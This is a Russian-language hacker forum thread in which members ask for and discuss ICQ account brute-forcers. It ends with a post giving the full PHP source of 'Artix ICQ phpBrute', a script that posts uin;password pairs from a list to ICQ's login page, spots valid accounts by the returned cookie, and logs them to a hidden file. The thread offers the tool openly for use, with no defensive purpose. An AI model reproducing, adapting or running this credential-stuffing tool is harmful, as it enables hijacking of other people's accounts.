брут

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by ZeV$, 9 Feb 2006.

  1. ZeV$

    ZeV$ Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    40
    Likes Received:
    11
    Reputations:
    3
    возможен ли брут асек с шелла???
    нужна прога\скрипт делающая это, имеющая консольное управление... есть ли такие?
     
  2. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
    Мне говорили эт возможно. Но сам не видел...
     
  3. ZeV$

    ZeV$ Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    40
    Likes Received:
    11
    Reputations:
    3
    =( вот лафа была бы =))
    тада сам попытаюсь на пхп и заработаю +1000 к репутации =) лол в паблике такого не будет =)
     
  4. TheFile

    TheFile Elder - Старейшина

    Joined:
    9 Aug 2005
    Messages:
    61
    Likes Received:
    9
    Reputations:
    0
    Давай давай умелец, зачем тогда спрашиваешь есть ли в паблике? если всёравно кодить сам будешь?
     
  5. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    Лично на паблике видел 3 брута на php и один брут на perl
    Кстати если мне память не изменяет один брут на php наколбасил Задохлик.

    Но что-то если честно, я их запускал недели три назад, что-то они не работают.
    Так что пиши!
     
  6. ZeV$

    ZeV$ Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    40
    Likes Received:
    11
    Reputations:
    3
    смысл делать то , что уже придумано стремится к нулю... нужны новые идеи, задумки...
    если нету - то уже можно задумываться над реализацией
     
  7. 777

    777 Elder - Старейшина

    Joined:
    7 May 2005
    Messages:
    28
    Likes Received:
    6
    Reputations:
    0
    Кез для себя делал %)) Я знаю %) Но работало не стабильно. Правда брутилось нормально. Спросите у него можь он вам в разделе для адвеседов выложит сырец %)
     
  8. ZeV$

    ZeV$ Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    40
    Likes Received:
    11
    Reputations:
    3
    =) в закрытом разделе? туда попасть самому надо...
     
  9. TheFile

    TheFile Elder - Старейшина

    Joined:
    9 Aug 2005
    Messages:
    61
    Likes Received:
    9
    Reputations:
    0
    Кстати всегда хотел иметь брут для асек на php или на perl...
     
  10. LeopardSS

    LeopardSS Elder - Старейшина

    Joined:
    8 Jan 2006
    Messages:
    64
    Likes Received:
    8
    Reputations:
    5
    Угу, три штуки нашел в инете на перле, так блин с такой скоростью брутить можно вечно.. нужна скорость минимум как БрутАет2 на яндексе )
     
  11. vitalbas

    vitalbas New Member

    Joined:
    12 Feb 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <title>Artix ICQ phpBrute</title>
    <http-equiv="Content-Type" content="text/html; charset=windows-1251">
    </head>
    <body>
    <?

    ///Для того, чтбы скрипт бесконечно работал
    set_time_limit(0);

    ///Чтобы все ошибки показывал
    Error_Reporting(E_ALL & ~E_NOTICE);

    ///Константы, просьба не менять
    $config=array();
    $config['good']='../htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать)
    $config['pass']='../pass.txt'; ///Лист паролей
    $config['separator']=';'; /// Разделитель уин;pass
    $config['host']='login.icq.com'; /// HTTP сервер мирабов
    $config['port']=80; /// HTTP порт
    $config['statfile']='../stat.html'; ///Служебный файл

    ///Если брутер запущен, то выдаем результат работы
    if(file_exists($config['statfile']))
    {
    include($config['statfile']);
    echo '
    </body>
    </html>';
    exit();
    }

    ///Типа притворяемся браузером
    $request = "POST /karma/login.php HTTP/1.1\r\n";
    $request .= "Host: ".$config['host']." \r\n";
    $request .= "User-Agent: Opera 7.50";
    $request .= "rulez\r\n";
    $request .= "Keep-Alive: 300\r\n";
    $request .= "Connection: keep-alive\r\n";
    $request .= "Referer: http://yandex.ru/ \r\n";

    ///Плохие и хорошие уины
    $goodcount=0;
    $badcount=0;

    ///Открытие файла с паролями
    $pass=file($config['pass']);

    ///Непосредственно брут
    for($i=0;$i<count($pass);$i++)
    {
    list($s,$s1)=explode($config['separator'],$pass[$i]);

    ///Данные для отправки к мирабам
    $posts = array ( 'dest' => '/whitepages/user_details.php',
    'desc' => '',
    'service' => '20',
    'css'=> 'whitepages',
    'uin_email'=> $s,
    'password' => trim($s1)
    );
    $postValues="";
    $s='';

    ///Кодирование
    foreach( $posts AS $name => $value )
    {
    $postValues .= urlencode($name) . "=" . urlencode($value) . '&';
    }

    ///Создаем post запрос
    $lenght = strlen($postValues);
    $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n";
    $request2 .= "Content-Length: $lenght\r\n";
    $request2 .= "\r\n";
    $request2 .= $postValues;

    ///Открываем сокет
    $fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30);
    if (!$fp)
    {
    ///На случай ошибки
    echo "$errstr ($errno)<br />\n";
    }
    else
    {
    ///Отправляем данные на whitepages
    fwrite($fp, $request2);
    while (!feof($fp))
    {
    $s.=fgets($fp, 128);
    }

    }
    ///Закрываем сокет
    fclose($fp);

    ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем
    if(strpos($s,'Set-C*****')==true)
    {
    $good=fopen($config['good'],'a');
    fwrite($good,$pass[$i]);
    fclose($good);
    $goodcount++;
    }
    else $badcount++;

    if($i%10==0)
    {
    $count=count($pass)-$i;

    ///Обновление статистики
    $s=<<<HTML
    --------------------------<br>
    <b>Artix ICQ phpBrute</b> <br>
    --------------------------<br>
    Хороших: $goodcount<br>
    Плохих: $badcount<br>
    Осталось: $count<br>
    ---<br>
    HTML;

    $stat=fopen($config['statfile'],'w+');
    fwrite($stat,$s);
    fclose($stat);
    }
    }

    $s=<<<HTML
    --------------------------<br>
    <b>Artix ICQ phpBrute</b> <br>
    --------------------------<br>
    Работа завершена. <br>
    Хороших: $goodcount<br>
    Плохих: $badcount<br>
    Для продолжения, удалите файл со статистикой<br>
    ---<br>
    HTML;

    ///Запись конечного результата в файл
    $stat=fopen($config['statfile'],'w+');
    fwrite($stat,$s);
    fclose($stat);

    ///Брут завершен
    ?>

    может пригодится